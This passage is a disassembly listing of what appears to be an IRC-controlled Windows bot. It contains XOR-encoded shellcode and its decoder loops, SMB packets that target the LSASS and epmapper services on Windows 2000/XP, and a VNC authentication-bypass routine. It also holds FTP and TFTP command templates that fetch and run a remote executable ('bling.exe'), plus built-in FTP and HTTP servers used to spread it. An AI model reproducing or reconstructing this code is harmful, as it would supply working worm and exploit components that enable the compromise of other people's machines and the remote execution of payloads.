XREF: sub_432352:loc_43238Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_43237D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432352 loc_43238A: ; CODE XREF: sub_432352+29j call sub_43237D loc_43238F: ; DATA XREF: sub_40CD9E+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_432352 ; --------------------------------------------------------------------------- dw 0 dword_432394 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o dword_4323A0 dd 30h ; DATA XREF: sub_40CD9E+2CAo dword_4323A4 dd 0A1h ; DATA XREF: sub_40CD9E+29Fo dword_4323A8 dd 3 ; DATA XREF: sub_40CD9E+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o align 4 loc_4323B4: ; DATA XREF: sub_40CD9E+E8o jmp short near ptr dword_4323BC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_4323BC dd 0 ; CODE XREF: ___:loc_4323B4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D5F4o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 4 dword_432424 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: ___:0040E02Do ; ___:0040E167o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_432470 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40DCF9+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4327D4 dd 20h, 0 ; DATA XREF: sub_40DCF9+136o dd 20h, 5C005Ch, 0 off_4327E8 dd offset aLafler ; DATA XREF: sub_40DCF9+15Do ; "Lafler" dd offset dword_5C0024 a12345611111111: unicode 0, <123456111111111111111.doc>,0 align 8 dword_432828 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_43285C dd offset word_580046 ; DATA XREF: sub_40DCF9+45o dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_432938 dd 10016C6h ; DATA XREF: sub_40DCF9+104o dword_43293C dd 100139Dh ; DATA XREF: sub_40DCF9+FBo off_432940 dd offset dword_5C005C ; DATA XREF: sub_40DB5E+1Co ; sub_40DC41+16o align 8 off_432948 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co ; sub_40DC41+Bo dd offset aLallemant+8 dd 24h aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o ; ___:0040E99Eo ... align 10h aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do align 10h jmp short loc_4329C2 ; =============== S U B R O U T I N E ======================================= sub_4329B2 proc far ; CODE XREF: sub_4329B2:loc_4329C2p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_4329BA: ; CODE XREF: sub_4329B2+Cj xor byte ptr [ebx+ecx], 99h loop loc_4329BA jmp short loc_4329C7 ; --------------------------------------------------------------------------- loc_4329C2: ; CODE XREF: ___:004329B0j call near ptr sub_4329B2 loc_4329C7: ; CODE XREF: sub_4329B2+Ej jo short loc_432A2B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_432A49 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_432A2B: ; CODE XREF: sub_4329B2:loc_4329C7j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_432A49: ; CODE XREF: sub_4329B2+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_4329B2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_432AF0: ; DATA XREF: sub_40E3F1+156o ; sub_40E3F1+212o jmp short loc_432B02 ; =============== S U B R O U T I N E ======================================= sub_432AF2 proc near ; CODE XREF: sub_432AF2:loc_432B02p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_432AFA: ; CODE XREF: sub_432AF2+Cj xor byte ptr [edx+ecx], 99h loop loc_432AFA jmp short loc_432B07 ; --------------------------------------------------------------------------- loc_432B02: ; CODE XREF: ___:loc_432AF0j call sub_432AF2 loc_432B07: ; CODE XREF: sub_432AF2+Ej jo short near ptr dword_432A80+1Eh cwde cdq cdq retn sub_432AF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_432BA0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40E3F1+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_432C88 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:0040E8A6o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_432D14 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:0040E8D2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_432DC0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:0040E8F9o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_432EA0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_40E3F1+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_432F04 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_432F70 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_433014 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_433094 dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_433128 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_433194 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_433208 dd 0 ; DATA XREF: sub_40E3F1+35Fo dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 2 dup(0) word_433290 dw 0AD9Dh ; DATA XREF: sub_40E292+30r ; sub_40E3F1+E7r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4332D0 dd 1004600h ; DATA XREF: sub_40E3F1+140r ; sub_40E3F1+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_40E292+BCo db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o ; --------------------------------------------------------------------------- loc_433408: ; DATA XREF: sub_40E3F1+177o jmp short loc_433410 ; --------------------------------------------------------------------------- jmp short loc_433412 ; --------------------------------------------------------------------------- align 10h loc_433410: ; CODE XREF: ___:loc_433408j ; DATA XREF: sub_40E3F1+27o pop esp pop esp loc_433412: ; CODE XREF: ___:0043340Aj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_43341C dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr dword_433420 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r dword_433424 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E9FB+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o align 4 word_4346DC dw 1 ; DATA XREF: ___:0040EC29r ; sub_41B55B+24r ... align 10h dword_4346E0 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_41A1B1+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferCom db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:004387E8o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:004387F4o unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass_0 db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_2 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4349C4 db 2Dh ; - ; DATA XREF: sub_40FAD6+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_4349EC db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo ; sub_41AA1E+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o ; sub_41AF8F+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo align 4 unk_434C0C db 2Dh ; - ; DATA XREF: sub_4100B4+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_34 db ' failed to start worker thread, error %d',0 align 4 unk_434C44 db 2Dh ; - ; DATA XREF: sub_4100B4+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_434C78: ; DATA XREF: sub_4100B4+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_41036B+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_41036B+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: 